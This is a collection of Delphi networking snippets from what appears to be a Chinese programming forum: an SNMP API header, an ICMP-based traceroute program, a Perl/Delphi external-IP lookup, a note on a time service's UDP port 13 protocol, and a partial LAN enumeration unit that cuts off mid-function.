PFNSNMPEXTENSIONQUERY = function(bPduType: BYTE; pVarBindList: TSnmpVarBindList;

pErrorStatus: TAsnInteger32; pErrorIndex: TAsnInteger32): boolean; stdcall;

PFNSNMPEXTENSIONQUERYEX = function(nRequestType: UINT; nTransactionId: UINT;

pVarBindList: TSnmpVarBindList; pContextInfo: TAsnOctetString; pErrorStatus:

TAsnInteger32; pErrorIndex: TAsnInteger32): boolean; stdcall;

PFNSNMPEXTENSIONTRAP = function(pEnterpriseOid: TAsnObjectIdentifier;

pGenericTrapId: TAsnInteger32; pSpecificTrapId: TAsnInteger32; pTimeStamp:

TAsnTimeticks; pVarBindList: TSnmpVarBindList): boolean; stdcall;

PFNSNMPEXTENSIONCLOSE = procedure; stdcall;

///////////////////////////////////////////////////////////////////////////////

// //

// SNMP API Prototypes //

// //

///////////////////////////////////////////////////////////////////////////////

function SnmpUtilOidCpy(pOidDst: TAsnObjectIdentifier; pOidSrc: TAsnObjectIdentifier):

SNMPAPI; stdcall external snmpapidll name 'SnmpUtilOidCpy';

function SnmpUtilOidAppend(pOidDst: TAsnObjectIdentifier; pOidSrc:

TAsnObjectIdentifier): SNMPAPI; stdcall; external snmpapidll name

'SnmpUtilOidAppend';

function SnmpUtilOidNCmp(pOid1: TAsnObjectIdentifier; pOid2: TAsnObjectIdentifier;

nSubIds: UINT): SNMPAPI; stdcall; external snmpapidll name 'SnmpUtilOidNCmp';

function SnmpUtilOidCmp(pOid1: TAsnObjectIdentifier; pOid2: TAsnObjectIdentifier):

SNMPAPI; stdcall; external snmpapidll name 'SnmpUtilOidCmp';

procedure SnmpUtilOidFree(pOid: TAsnObjectIdentifier); stdcall; external snmpapidll

name 'SnmpUtilOidFree';

function SnmpUtilOctetsCmp(pOctets1: TAsnOctetString; pOctets2: TAsnOctetString):

SNMPAPI; stdcall; external snmpapidll name 'SnmpUtilOctetsCmp';

function SnmpUtilOctetsNCmp(pOctets1: TAsnOctetString; pOctets2: TAsnOctetString;

nChars: UINT): SNMPAPI; stdcall; external snmpapidll name 'SnmpUtilOctetsNCmp';

function SnmpUtilOctetsCpy(pOctetsDst: TAsnOctetString; pOctetsSrc: TAsnOctetString):

SNMPAPI; stdcall; external snmpapidll name 'SnmpUtilOctetsCpy';

procedure SnmpUtilOctetsFree(pOctets: TAsnOctetString); stdcall; external snmpapidll

name 'SnmpUtilOctetsFree';

function SnmpUtilAsnAnyCpy(pAnyDst: TAsnAny; pAnySrc: TAsnAny): SNMPAPI; stdcall;

external snmpapidll name 'SnmpUtilAsnAnyCpy';

procedure SnmpUtilAsnAnyFree(pAny: TAsnAny); stdcall; external snmpapidll name

'SnmpUtilAsnAnyFree';

function SnmpUtilVarBindCpy(pVbDst: TSnmpVarBind; pVbSrc: TSnmpVarBind): SNMPAPI;

stdcall; external snmpapidll name 'SnmpUtilVarBindCpy';

procedure SnmpUtilVarBindFree(pVb: TSnmpVarBind); stdcall; external snmpapidll name

'SnmpUtilVarBindFree';

function SnmpUtilVarBindListCpy(pVblDst: TSnmpVarBindList; pVblSrc: TSnmpVarBindList):

SNMPAPI; stdcall; external snmpapidll name 'SnmpUtilVarBindListCpy';

procedure SnmpUtilVarBindListFree(pVbl: TSnmpVarBindList); stdcall; external snmpapidll

name 'SnmpUtilVarBindListFree';

procedure SnmpUtilMemFree(pMem: pointer); stdcall; external snmpapidll name

'SnmpUtilMemFree';

function SnmpUtilMemAlloc(nBytes: UINT): pointer; stdcall; external snmpapidll name

'SnmpUtilMemAlloc';

function SnmpUtilMemReAlloc(pMem: pointer; nBytes: UINT): pointer; stdcall; external

snmpapidll name 'SnmpUtilMemReAlloc';

function SnmpUtilOidToA(Oid: TAsnObjectIdentifier): pchar; stdcall; external snmpapidll

name 'SnmpUtilOidToA';

function SnmpUtilIdsToA(Ids: UINT; IdLength: UINT): pchar; stdcall; external snmpapidll

name 'SnmpUtilIdsToA';

procedure SnmpUtilPrintOid(Oid: TAsnObjectIdentifier); stdcall; external snmpapidll

name 'SnmpUtilPrintOid';

procedure SnmpUtilPrintAsnAny(pAny: TAsnAny); stdcall; external snmpapidll name

'SnmpUtilPrintAsnAny';

function SnmpSvcGetUptime: DWORD; stdcall; external snmpapidll name

'SnmpSvcGetUptime';

procedure SnmpSvcSetLogLevel(nLogLevel: integer); stdcall; external snmpapidll name

'SnmpSvcSetLogLevel';

procedure SnmpSvcSetLogType(nLogType: integer); stdcall; external snmpapidll name

'SnmpSvcSetLogType';

///////////////////////////////////////////////////////////////////////////////

// //

// SNMP Debugging Definitions //

// //

///////////////////////////////////////////////////////////////////////////////

const

SNMP_LOG_SILENT = $0;

SNMP_LOG_FATAL = $1;

SNMP_LOG_ERROR = $2;

SNMP_LOG_WARNING = $3;

SNMP_LOG_TRACE = $4;

SNMP_LOG_VERBOSE = $5;

SNMP_OUTPUT_TO_CONSOLE = $1;

SNMP_OUTPUT_TO_LOGFILE = $2;

SNMP_OUTPUT_TO_EVENTLOG = $4; // no longer supported

SNMP_OUTPUT_TO_DEBUGGER = $8;

///////////////////////////////////////////////////////////////////////////////

// //

// SNMP Debugging Prototypes //

// //

///////////////////////////////////////////////////////////////////////////////

procedure SnmpUtilDbgPrint(nLogLevel: integer; // see log levels above...

szFormat: pchar); stdcall; external snmpapidll name 'SnmpUtilDbgPrint';

{$IFDEF DBG}

{$DEFINE SNMPDBG(_x_)SnmpUtilDbgPrint _x_}

{$ELSE}

{$DEFINE SNMPDBG(_x_)}

{$ENDIF}

///////////////////////////////////////////////////////////////////////////////

// //

// Miscellaneous definitions //

// //

///////////////////////////////////////////////////////////////////////////////

const

// DEFINE_SIZEOF=(array)(sizeof(array) / sizeof((array)[0]))

// DEFINE_OID(SubIdArray) {DEFINE_SIZEOF(SubIdArray),(SubIdArray)}

// DEFINE_NULLOID() {0,NULL}

// DEFINE_NULLOCTETS() {NULL,0,FALSE}

DEFAULT_SNMP_PORT_UDP = 161;

DEFAULT_SNMP_PORT_IPX = 36879;

DEFAULT_SNMPTRAP_PORT_UDP = 162;

DEFAULT_SNMPTRAP_PORT_IPX = 36880;

SNMP_MAX_OID_LEN = 128;

///////////////////////////////////////////////////////////////////////////////

// //

// API Error Code Definitions //

// //

///////////////////////////////////////////////////////////////////////////////

SNMP_MEM_ALLOC_ERROR = 1;

SNMP_BERAPI_INVALID_LENGTH = 10;

SNMP_BERAPI_INVALID_TAG = 11;

SNMP_BERAPI_OVERFLOW = 12;

SNMP_BERAPI_SHORT_BUFFER = 13;

SNMP_BERAPI_INVALID_OBJELEM = 14;

SNMP_PDUAPI_UNRECOGNIZED_PDU = 20;

SNMP_PDUAPI_INVALID_ES = 21;

SNMP_PDUAPI_INVALID_GT = 22;

SNMP_AUTHAPI_INVALID_VERSION = 30;

SNMP_AUTHAPI_INVALID_MSG_TYPE = 31;

SNMP_AUTHAPI_TRIV_AUTH_FAILED = 32;

///////////////////////////////////////////////////////////////////////////////

// //

// Support for old definitions (support disabled via SNMPSTRICT) //

// //

///////////////////////////////////////////////////////////////////////////////

{$IFNDEF SNMPSTRICT}

const

ASN_RFC1155_IPADDRESS = ASN_IPADDRESS;

ASN_RFC1155_COUNTER = ASN_COUNTER32;

ASN_RFC1155_GAUGE = ASN_GAUGE32;

ASN_RFC1155_TIMETICKS = ASN_TIMETICKS;

ASN_RFC1155_OPAQUE = ASN_OPAQUE;

ASN_RFC1213_DISPSTRING = ASN_OCTETSTRING;

ASN_RFC1157_GETREQUEST = SNMP_PDU_GET;

ASN_RFC1157_GETNEXTREQUEST = SNMP_PDU_GETNEXT;

ASN_RFC1157_GETRESPONSE = SNMP_PDU_RESPONSE;

ASN_RFC1157_SETREQUEST = SNMP_PDU_SET;

ASN_RFC1157_TRAP = SNMP_PDU_V1TRAP;

ASN_CONTEXTSPECIFIC = ASN_CONTEXT;

ASN_PRIMATIVE = ASN_PRIMITIVE;

type

RFC1157VarBindList = TSnmpVarBindList;

RFC1157VarBind = TSnmpVarBind;

AsnInteger = TAsnInteger32;

AsnCounter = TAsnCounter32;

AsnGauge = TAsnGauge32;

{$ENDIF} // SNMPSTRICT

implementation

end.


跟踪目的地经过的IP地址
Trace命令可以实现跟踪目的地经过的IP地址.请问Trace如何实现的?

回复人：forgot2000 | 忘记2000年

program TraceRoute;

uses

Forms,

MainForm in 'MainForm.pas' {TraceRouteForm},

ICMP_Define in 'ICMP_Define.pas';

{$R *.RES}

begin

Application.Initialize;

Application.CreateForm(TTraceRouteForm, TraceRouteForm);

Application.Run;

end.

//ICMP_Define.PAS

unit ICMP_Define;

interface

uses winsock;

type

DWORD=LongWord;

THandle=LongWord;

THostTraceMultiReply=record

dwError : DWORD; //GetLastError for this host

Address : in_addr; //The IP address of the replier

minRTT : DWORD; //Minimum round trip time in milliseconds

avgRTT : DWORD; //Average round trip time in milliseconds

maxRTT : DWORD; //Maximum round trip time in milliseconds

end;

THostTraceSingleReply=record

dwError:DWORD; //GetLastError for this replier

Address:in_addr; //The IP address of the replier

RTT:DWORD; //Round Trip time in milliseconds for this replier

end;

PIPOptionInformation = ^TIPOptionInformation;

TIPOptionInformation =

record

TTL: Byte;

TOS: Byte;

Flags: Byte;

OptionsSize: Byte;

OptionsData: PChar;

end;

PIcmpEchoReply = ^TIcmpEchoReply;

TIcmpEchoReply =

record

Address: DWORD;

Status: DWORD;

RTT: DWORD;

DataSize:Word;

Reserved: Word;

Data: Pointer;

Options: TIPOptionInformation;

end;

const

ULONG_MAX=1024;

function IcmpCreateFile():THandle;stdcall external 'ICMP.dll';

function IcmpCloseHandle(Handle:THandle):Boolean;stdcall external 'ICMP.dll';

function IcmpSendEcho(Handle:THandle;DestAddr:DWORD;

RequestData: Pointer;RequestSize: Word;RequestOptions: PIPOptionInformation;

ReplyBuffer: Pointer;ReplySize: DWORD;Timeout: DWORD): DWORD;stdcall external 'ICMP.dll';

implementation

end.

//主菜单

unit MainForm;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls,Winsock,ICMP_Define;

type

TTraceRouteForm = class(TForm)

Label1: TLabel;

edtIP: TEdit;

btnTracert: TButton;

memResult: TMemo;

procedure btnTracertClick(Sender: TObject);

procedure FormCreate(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

procedure Tracert(dwAddr:DWORD;dwPingsPerHost:DWORD);

function Ping(dwAddr:DWORD;TimeOut:Word;var htsr:THostTraceSingleReply;nTTL:Byte):boolean;

end;

var

TraceRouteForm: TTraceRouteForm;

implementation

{$R *.DFM}

procedure TTraceRouteForm.btnTracertClick(Sender: TObject);

var

WSAData:TWSAData;

dwAddr:DWORD;

hp:phostent;

begin

//init winsock dll

if (WSAStartup(MAKEWORD(2,0),WSAData)<>0) then

raise Exception.Create('Winsock Version Error');

ZeroMemory(Addr(dwAddr),sizeof(dwAddr));

//resolve IP

//convert form dotted address

dwAddr:=inet_addr(pchar(edtIP.text));

if (dwAddr=INADDR_NONE) then

begin

hp:=gethostbyname(pchar(edtIP.Text));

if hp=NIL then

begin

memResult.Lines.Add('Failed to resolve host IP');

Exit//Failed to resolve host;

end

else

CopyMemory(Addr(dwAddr),hp.h_addr^,hp.h_length);

end;

memResult.Lines.Add(Format('Resolve Target: %d.%d.%d.%d',[LoByte(LoWord(dwAddr)),

HiByte(LoWord(dwAddr)),

LoByte(HiWord(dwAddr)),

HiByte(HiWord(dwAddr))]));

//trace route

//icmp function must be declared.

Tracert(dwAddr,1);

//release winsock dll

WSACleanUP;

end;

procedure TTraceRouteForm.Tracert(dwAddr:DWORD;dwPingsPerHost:DWORD);

var

dwTimeOut : DWORD;

nHops : Byte;

nPings : Byte;

bReachedHost : Boolean;

i,j : Byte;

htrr : THostTraceMultiReply;

htsr : THostTraceSingleReply;

totalRTT : DWORD;

bPingError : Boolean;

Top

回复人：forgot2000 | 忘记2000年

begin

//set init value

dwTimeOut:=3000;//this value changed according the net condition

nHops:=30;

nPings:=3;

bReachedHost:=false;

//update show.

memResult.Lines.Add(Format('Tracing route to %s '#13#10'over a maximum of %d hpos',

[edtIP.Text,nHops]));

for i:=1 to nHops do

begin

if bReachedHost then

begin

memResult.Lines.Add('Trace Complete');

Break;

end;

htrr.dwError := 0;

htrr.minRTT := ULONG_MAX;

htrr.avgRTT := 0;

htrr.maxRTT := 0;

//Iterate through all the pings for each host

totalRTT := 0;

htsr.Address.S_addr := 0;

htsr.dwError := 0;

bPingError:=false;

for j:=1 to dwPingsPerHost do

begin

if bPingError Then break;

if (Ping(dwAddr,dwTimeOut,htsr,i))then

if (htsr.dwError=0)then

begin

inc(totalRTT,htsr.RTT);//acumulate total time

//Store away the RTT etc

if (htsr.RTT<htrr.minRTT)then htrr.minRTT:=htsr.RTT;

if (htsr.RTT>htrr.maxRTT)then htrr.maxRTT:=htsr.RTT;

end //if (htsr.dwError=0)then

else //if (htsr.dwError=0)then

begin

htrr.dwError:=htsr.dwError;

bPingError:=true;

end

else//if (Ping(dwAddr,dwTimeOut,htsr,i))then

begin//ping failed

memResult.Lines.Add(inttostr(i)+' Ping failed');

end;

end;// for j:=1 to dwPingsPerHost do

htrr.Address := htsr.Address;

if (htrr.dwError = 0)then

htrr.avgRTT := Round(totalRTT / dwPingsPerHost)

else

begin

htrr.minRTT := 0;

htrr.avgRTT := 0;

htrr.maxRTT := 0;

end;

//show trace result here

if htrr.dwError=0 then

begin

memResult.Lines.Add(Format('%d %d ms %d ms %d ms %d.%d.%d.%d'#13#10,

[i,

htrr.minRTT,

htrr.avgRTT,

htrr.maxRTT,

ord(htrr.Address.S_un_b.s_b1),

ord(htrr.Address.S_un_b.s_b2),

ord(htrr.Address.S_un_b.s_b3),

ord(htrr.Address.S_un_b.s_b4)]));

memResult.update;

end

else

memResult.Lines.Add(Format('%d Error:%d',[i,htrr.dwError]));

memResult.Update;

if (dwaddr=htrr.Address.S_addr)then

//reach the final host

bReachedHost:=true;

end;// of for i:=1 to nHops do

end;

function TTraceRouteForm.Ping(dwAddr:DWORD;TimeOut:Word;var htsr:THostTraceSingleReply;nTTL:Byte):boolean;

var

IPOpt:TIPOptionInformation;// IP Options for packet to send

pReqData,pRevData:PChar;

pIPE:PIcmpEchoReply;// ICMP Echo reply buffer

FSize: DWORD;

BufferSize:DWORD;

temp:Integer;

hICMP:THandle;

begin

Result:=false;

hICMP:=IcmpCreateFile();

if hICMP=INVALID_HANDLE_VALUE then

begin

//Could not get a valid icmp handle

exit;

end;

FSize := 40; //package size

BufferSize := SizeOf(TICMPEchoReply) + FSize;

GetMem(pRevData,FSize);

GetMem(pIPE,BufferSize);

//set up the option structure

ZeroMemory(@IPOpt,SizeOf(TIPOptionInformation));

IPOpt.TTL:=nTTL;

FillChar(pIPE^, SizeOf(pIPE^),0);

pIPE^.Data := pRevData;

GetMem(pReqData,5);//data package size = 5 byte

FillChar(pReqData^,5,65);

temp:=IcmpSendEcho(hICMP, dwAddr, pReqData, 5,

@IPOpt,pIPE, BufferSize, TimeOut);

if temp=0 then

begin

htsr.dwError:=GetLastError();

end

else

begin

//ping success,copy info to return structure;

htsr.Address.S_addr:=pIPE^.Address;

htsr.RTT:=pIPE^.RTT;

Result:=true;

end;

//Free up the memory we allocated

FreeMem(pRevData);

FreeMem(pIPE);

//Close the ICMP handle

IcmpCloseHandle(hIcmp);

end;

procedure TTraceRouteForm.FormCreate(Sender: TObject);

begin

//update view

MemResult.Font.Color:=clHighlightText;

MemResult.Font.Name:='Terminal';

MemResult.Font.Size:=10;

MemResult.Color:= clNone;

end;

end.


获取代理、路由后面的IP?
get the IP-Address bhind a router/proxy?

{

If you are behind a router or proxy and want to get your real Internet-IP-Address then you

need the help of a extern Internet Server. That extern Internet server have to tell you your

real Ip-Address. You can make this with a combination of PERL and DELPHI.

The following PERL-SCRIPT you have to upload to an Webspace witch allows Perl/CGI-access:

}

--------------------------------------------------------

#!/usr/local/bin/perl

use CGI qw/:standard/;

print "Content-type: text/html";

print "BEGINIP".$ENV{REMOTE_ADDR}."ENDIP";

--------------------------------------------------------

{

If the address of the Script is "http://www.my-server.de/cgi-bin/GiveMeMyIp.pl"

then the Delphi-Code to get your real IP is:

}

procedure TForm1.Button1Click(Sender: TObject);

var

IPSTR, IP, HP: string;

BeginIP, EndIP, i: integer;

begin

Button1.Enabled := False;

HP := ‘http://www.my-server.de/cgi-bin/GiveMeMyIp.pl’;

NMHTTP1.Get(HP);

IPSTR := (NMHTTP1.Body);

BeginIP := Pos('BEGINIP', IPSTR) + Length('BEGINIP');

EndIP := Pos('ENDIP', IPSTR);

IP := '';

for i := BeginIP to ENDip - 1 do

begin

IP := IP + IPstr[i];

end;

label1.Caption := IP;

Button1.Enabled := True;

end;


UDP13端口时间服务
UDP13端口时间服务

国家授时中心时间服务器提供TCP/IP协议UDP方式下的端口13时间服务,服务器IP地址：159.226.154.47

时间编码格式为:

< YYYY MM DD HH MM SS MMM L NTSC-UTC XXXXX

ASCII字符 "<"是时间标记码

YYYY MM DD HH MM SS MMM

年 月 日 时 分 秒 毫秒

L为１，表示一个正闰秒将会在本月末被加上，即这一月最后一秒是第６０秒，L为２，表本月末将会有一个负闰秒。为０表示本月没有闰秒

NTSC-UTC表示服务器所发出的时间编码为国家授时中心所保持的UTC时间

XXXXX为保留位

最后加上回车换行符

用户向服务器要求时间编码时，可首先记下本机时间T1，向服务器发送ASCII码字符串“>XXX.XXX.XXX.XXX”，即标记码“>”加用户计算机IP地址，服务器收到后，得出此刻时间编码，发送给用户，用户收到服务器发来的时间标记码“<”后，记下时刻T2，随后解出服务器时间编码T3，忽略服务器耗时，服务器与用户计算机时差为T3-(T1+T2)/2,用户调整计算机时间，时间服务完成。

使用当中,如出现一些令您不满意的地方或有任何疑问

请 mailto:qiyi@ms.sxso.ac.cn 漆 溢

--------------------------------------------------------------------------------

建议在 Windows 2000 或 Windows NT 系列操作系统下运行。 CSAOtimePORT13是一个国家授时中心时间服务器UDP端口13测试程序，请在TEXT2文本栏输入您的IP地址，并以“>”开头，例如：>256.255.22.202 随后点击SEND按钮，在TEXT1文本栏内得到服务器时间编码。这一程序没有校准计算机时钟的功能。

CSAOtimePORT13.ZIP (1.45M)

下载后解压到硬盘，再执行setup.exe.

如果您熟悉VB语言，请点 FTP://Time.sxso.ac.cn/CSAOtimePORT13 选择下载。

可执行文件 CSAOtimePORT13.EXE (13K)

如无解压软件包请下载： powerzip (共享软件)

--------------------------------------------------------------------------------

申明： 若使用国家授时中心UDP端口13时间服务表示您已同意下列申明。

1.您的IP地址会发送到服务器数据库。

2.由于互联网络的传输不确定性，无法完全保证每次网络授时操作的可信度，

但我们承诺，尽可能使每次传送的时间与国家标准时间同步。

（如果需要高稳定，高可靠地保持一组计算机时钟同步，可在局域网内或互联网网关内设置时间服务器）


网络函数大公开
网络函数大公开

zsy_good (只要坚定不移的走下去，那一定会成功)

{=========================================================================

功 能: 网络函数库

时 间: 2002/10/02

版 本: 1.0

备 注: 没有事情干，抄抄写写整理了一些网络函数供大家使用。

希望大家能继续补充

=========================================================================}

unit Net;

interface

uses

SysUtils

,Windows

,dialogs

,winsock

,Classes

,ComObj

,WinInet;

//得到本机的局域网Ip地址

Function GetLocalIp(var LocalIp:string): Boolean;

//通过Ip返回机器名

Function GetNameByIPAddr(IPAddr: string; var MacName: string): Boolean ;

//获取网络中SQLServer列表

Function GetSQLServerList(var List: Tstringlist): Boolean;

//获取网络中的所有网络类型

Function GetNetList(var List: Tstringlist): Boolean;

//获取网络中的工作组

Function GetGroupList(var List: TStringList): Boolean;

//获取工作组中所有计算机

Function GetUsers(GroupName: string; var List: TStringList): Boolean;

//获取网络中的资源

Function GetUserResource(IpAddr: string; var List: TStringList): Boolean;

//映射网络驱动器

Function NetAddConnection(NetPath: Pchar; PassWord: Pchar;LocalPath: Pchar): Boolean;

//检测网络状态

Function CheckNet(IpAddr:string): Boolean;

//检测机器是否登入网络

Function CheckMacAttachNet: Boolean;

//判断Ip协议有没有安装 这个函数有问题

Function IsIPInstalled : boolean;

//检测机器是否上网

Function InternetConnected: Boolean;

implementation

{=================================================================

功 能: 检测机器是否登入网络

参 数: 无

返回值: 成功: True 失败: False

备 注:

版 本:

1.0 2002/10/03 09:55:00

=================================================================}

Function CheckMacAttachNet: Boolean;

begin

Result := False;

if GetSystemMetrics(SM_NETWORK) <> 0 then

Result := True;

end;

{=================================================================

功 能: 返回本机的局域网Ip地址

参 数: 无

返回值: 成功: True, 并填充LocalIp 失败: False

备 注:

版 本:

1.0 2002/10/02 21:05:00

=================================================================}

function GetLocalIP(var LocalIp: string): Boolean;

var

HostEnt: PHostEnt;

Ip: string;

addr: pchar;

Buffer: array [0..63] of char;

GInitData: TWSADATA;

begin

Result := False;

try

WSAStartup(2, GInitData);

GetHostName(Buffer, SizeOf(Buffer));

HostEnt := GetHostByName(buffer);

if HostEnt = nil then Exit;

addr := HostEnt^.h_addr_list^;

ip := Format('%d.%d.%d.%d', [byte(addr [0]),

byte (addr [1]), byte (addr [2]), byte (addr [3])]);

LocalIp := Ip;

Result := True;

finally

WSACleanup;

end;

end;

{=================================================================

功 能: 通过Ip返回机器名

参 数:

IpAddr: 想要得到名字的Ip

返回值: 成功: 机器名 失败: ''

备 注:

inet_addr function converts a string containing an Internet

Protocol dotted address into an in_addr.

版 本:

1.0 2002/10/02 22:09:00

=================================================================}

function GetNameByIPAddr(IPAddr : String;var MacName:String): Boolean;

var

SockAddrIn: TSockAddrIn;

HostEnt: PHostEnt;

WSAData: TWSAData;

begin

Result := False;

if IpAddr = '' then exit;

try

WSAStartup(2, WSAData);

SockAddrIn.sin_addr.s_addr := inet_addr(PChar(IPAddr));

HostEnt := gethostbyaddr(@SockAddrIn.sin_addr.S_addr, 4, AF_INET);

if HostEnt <> nil then

MacName := StrPas(Hostent^.h_name);

Result := True;

finally

WSACleanup;

end;

end;

{=================================================================

功 能: 返回网络中SQLServer列表

参 数:

List: 需要填充的List

返回值: 成功: True,并填充List 失败 False

备 注:

版 本:

1.0 2002/10/02 22:44:00

=================================================================}

Function GetSQLServerList(var List: Tstringlist): boolean;

var

i: integer;

sRetValue: String;

SQLServer: Variant;

ServerList: Variant;

begin

Result := False;

List.Clear;

try

SQLServer := CreateOleObject('SQLDMO.Application');

ServerList := SQLServer.ListAvailableSQLServers;

for i := 1 to Serverlist.Count do

list.Add (Serverlist.item(i));

Result := True;

Finally

SQLServer := NULL;

ServerList := NULL;

end;

end;

{=================================================================

功 能: 判断Ip协议有没有安装

参 数: 无

返回值: 成功: True 失败: False;

备 注: 该函数还有问题

版 本:

1.0 2002/10/02 21:05:00

=================================================================}

Function IsIPInstalled : boolean;

var

WSData: TWSAData;

ProtoEnt: PProtoEnt;

begin

Result := True;

try

if WSAStartup(2,WSData) = 0 then

begin

ProtoEnt := GetProtoByName('IP');

if ProtoEnt = nil then

Result := False

end;

finally

WSACleanup;

end;

end;

{=================================================================

功 能: 返回网络中的共享资源

参 数:

IpAddr: 机器Ip

List: 需要填充的List

返回值: 成功: True,并填充List 失败: False;

备 注:

WNetOpenEnum function starts an enumeration of network

resources or existing connections.

WNetEnumResource function continues a network-resource

enumeration started by the WNetOpenEnum function.

版 本:

1.0 2002/10/03 07:30:00

=================================================================}

Function GetUserResource(IpAddr: string; var List: TStringList): Boolean;

type

TNetResourceArray = ^TNetResource;//网络类型的数组

Var

i: Integer;

Buf: Pointer;

Temp: TNetResourceArray;

lphEnum: THandle;

NetResource: TNetResource;

Count,BufSize,Res: DWord;

Begin

Result := False;

List.Clear;

if copy(Ipaddr,0,2) <> '\' then

IpAddr := '\'+IpAddr; //填充Ip地址信息

FillChar(NetResource, SizeOf(NetResource), 0);//初始化网络层次信息

NetResource.lpRemoteName := @IpAddr[1];//指定计算机名称

//获取指定计算机的网络资源句柄

Res := WNetOpenEnum( RESOURCE_GLOBALNET, RESOURCETYPE_ANY,

RESOURCEUSAGE_CONNECTABLE, @NetResource,lphEnum);

if Res <> NO_ERROR then exit;//执行失败

while True do//列举指定工作组的网络资源

begin

Count := $FFFFFFFF;//不限资源数目

BufSize := 8192;//缓冲区大小设置为8K

GetMem(Buf, BufSize);//申请内存，用于获取工作组信息

//获取指定计算机的网络资源名称

Res := WNetEnumResource(lphEnum, Count, Pointer(Buf), BufSize);

if Res = ERROR_NO_MORE_ITEMS then break;//资源列举完毕

if (Res <> NO_ERROR) then Exit;//执行失败

Temp := TNetResourceArray(Buf);

for i := 0 to Count - 1 do

begin

//获取指定计算机中的共享资源名称，+2表示删除"\"，

//如\192.168.0.1 => 192.168.0.1

List.Add(Temp^.lpRemoteName + 2);

Inc(Temp);

end;

end;

Res := WNetCloseEnum(lphEnum);//关闭一次列举

if Res <> NO_ERROR then exit;//执行失败

Result := True;

FreeMem(Buf);

End;

{=================================================================

功 能: 返回网络中的工作组

参 数:

List: 需要填充的List

返回值: 成功: True,并填充List 失败: False;

备 注:

版 本:

1.0 2002/10/03 08:00:00

=================================================================}

Function GetGroupList( var List : TStringList ) : Boolean;

type

TNetResourceArray = ^TNetResource;//网络类型的数组

Var

NetResource: TNetResource;

Buf: Pointer;

Count,BufSize,Res: DWORD;

lphEnum: THandle;

p: TNetResourceArray;

i,j: SmallInt;

NetworkTypeList: TList;

Begin

Result := False;

NetworkTypeList := TList.Create;

List.Clear;

//获取整个网络中的文件资源的句柄，lphEnum为返回名柄

Res := WNetOpenEnum( RESOURCE_GLOBALNET, RESOURCETYPE_DISK,

RESOURCEUSAGE_CONTAINER, Nil,lphEnum);

if Res <> NO_ERROR then exit;//Raise Exception(Res);//执行失败

//获取整个网络中的网络类型信息

Count := $FFFFFFFF;//不限资源数目

BufSize := 8192;//缓冲区大小设置为8K

GetMem(Buf, BufSize);//申请内存，用于获取工作组信息

Res := WNetEnumResource(lphEnum, Count, Pointer(Buf), BufSize);

//资源列举完毕 //执行失败

if ( Res = ERROR_NO_MORE_ITEMS ) or (Res <> NO_ERROR ) then Exit;

P := TNetResourceArray(Buf);

for i := 0 to Count - 1 do//记录各个网络类型的信息

begin

NetworkTypeList.Add(p);

Inc(P);

end;

Res := WNetCloseEnum(lphEnum);//关闭一次列举

if Res <> NO_ERROR then exit;

for j := 0 to NetworkTypeList.Count-1 do //列出各个网络类型中的所有工作组名称

begin//列出一个网络类型中的所有工作组名称

NetResource := TNetResource(NetworkTypeList.Items[J]^);//网络类型信息

//获取某个网络类型的文件资源的句柄，NetResource为网络类型信息，lphEnum为返回名柄

Res := WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK,

RESOURCEUSAGE_CONTAINER, @NetResource,lphEnum);

if Res <> NO_ERROR then break;//执行失败

while true do//列举一个网络类型的所有工作组的信息

begin

Count := $FFFFFFFF;//不限资源数目

BufSize := 8192;//缓冲区大小设置为8K

GetMem(Buf, BufSize);//申请内存，用于获取工作组信息

//获取一个网络类型的文件资源信息，

Res := WNetEnumResource(lphEnum, Count, Pointer(Buf), BufSize);

//资源列举完毕 //执行失败

if ( Res = ERROR_NO_MORE_ITEMS ) or (Res <> NO_ERROR) then break;

P := TNetResourceArray(Buf);

for i := 0 to Count - 1 do//列举各个工作组的信息

begin

List.Add( StrPAS( P^.lpRemoteName ));//取得一个工作组的名称

Inc(P);

end;

end;

Res := WNetCloseEnum(lphEnum);//关闭一次列举

if Res <> NO_ERROR then break;//执行失败

end;

Result := True;

FreeMem(Buf);

NetworkTypeList.Destroy;

End;

{=================================================================

功 能: 列举工作组中所有的计算机

参 数:

List: 需要填充的List

返回值: 成功: True,并填充List 失败: False;

备 注:

版 本:

1.0 2002/10/03 08:00:00

=================================================================}

Function GetUsers(GroupName: string; var List: TStringList): Boolean;

type

TNetResourceArray = ^TNetResource;//网络类型的数组

Var

i: Integer;

Buf: Pointer;

Temp: TNetResourceArray;

lphEnum: THandle;

NetResource: TNetResource;

Count,BufSize,Res: DWord;

begin

Result := False;

List.Clear;

FillChar(NetResource, SizeOf(NetResource), 0);//初始化网络层次信息

NetResource.lpRemoteName := @GroupName[1];//指定工作组名称

NetResource.dwDisplayType := RESOURCEDISPLAYTYPE_SERVER;//类型为服务器（工作组）

NetResource.dwUsage := RESOURCEUSAGE_CONTAINER;

NetResource.dwScope := RESOURCETYPE_DISK;//列举文件资源信息

//获取指定工作组的网络资源句柄

Res := WNetOpenEnum( RESOURCE_GLOBALNET, RESOURCETYPE_DISK,

RESOURCEUSAGE_CONTAINER, @NetResource,lphEnum);

if Res <> NO_ERROR then Exit; //执行失败

while True do//列举指定工作组的网络资源

begin

Count := $FFFFFFFF;//不限资源数目

BufSize := 8192;//缓冲区大小设置为8K

GetMem(Buf, BufSize);//申请内存，用于获取工作组信息

//获取计算机名称

Res := WNetEnumResource(lphEnum, Count, Pointer(Buf), BufSize);

if Res = ERROR_NO_MORE_ITEMS then break;//资源列举完毕

if (Res <> NO_ERROR) then Exit;//执行失败

Temp := TNetResourceArray(Buf);

for i := 0 to Count - 1 do//列举工作组的计算机名称

begin

//获取工作组的计算机名称，+2表示删除"\"，如\wangfajun=>wangfajun

List.Add(Temp^.lpRemoteName + 2);

inc(Temp);

end;

end;

Res := WNetCloseEnum(lphEnum);//关闭一次列举

if Res <> NO_ERROR then exit;//执行失败

Result := True;

FreeMem(Buf);

end;

{=================================================================

功 能: 列举所有网络类型

参 数:

List: 需要填充的List

返回值: 成功: True,并填充List 失败: False;

备 注:

版 本:

1.0 2002/10/03 08:54:00

=================================================================}

Function GetNetList(var List: Tstringlist): Boolean;

type

TNetResourceArray = ^TNetResource;//网络类型的数组

Var

p: TNetResourceArray;

Buf: Pointer;

i: SmallInt;

lphEnum: THandle;

NetResource: TNetResource;

Count,BufSize,Res: DWORD;

begin

Result := False;

List.Clear;

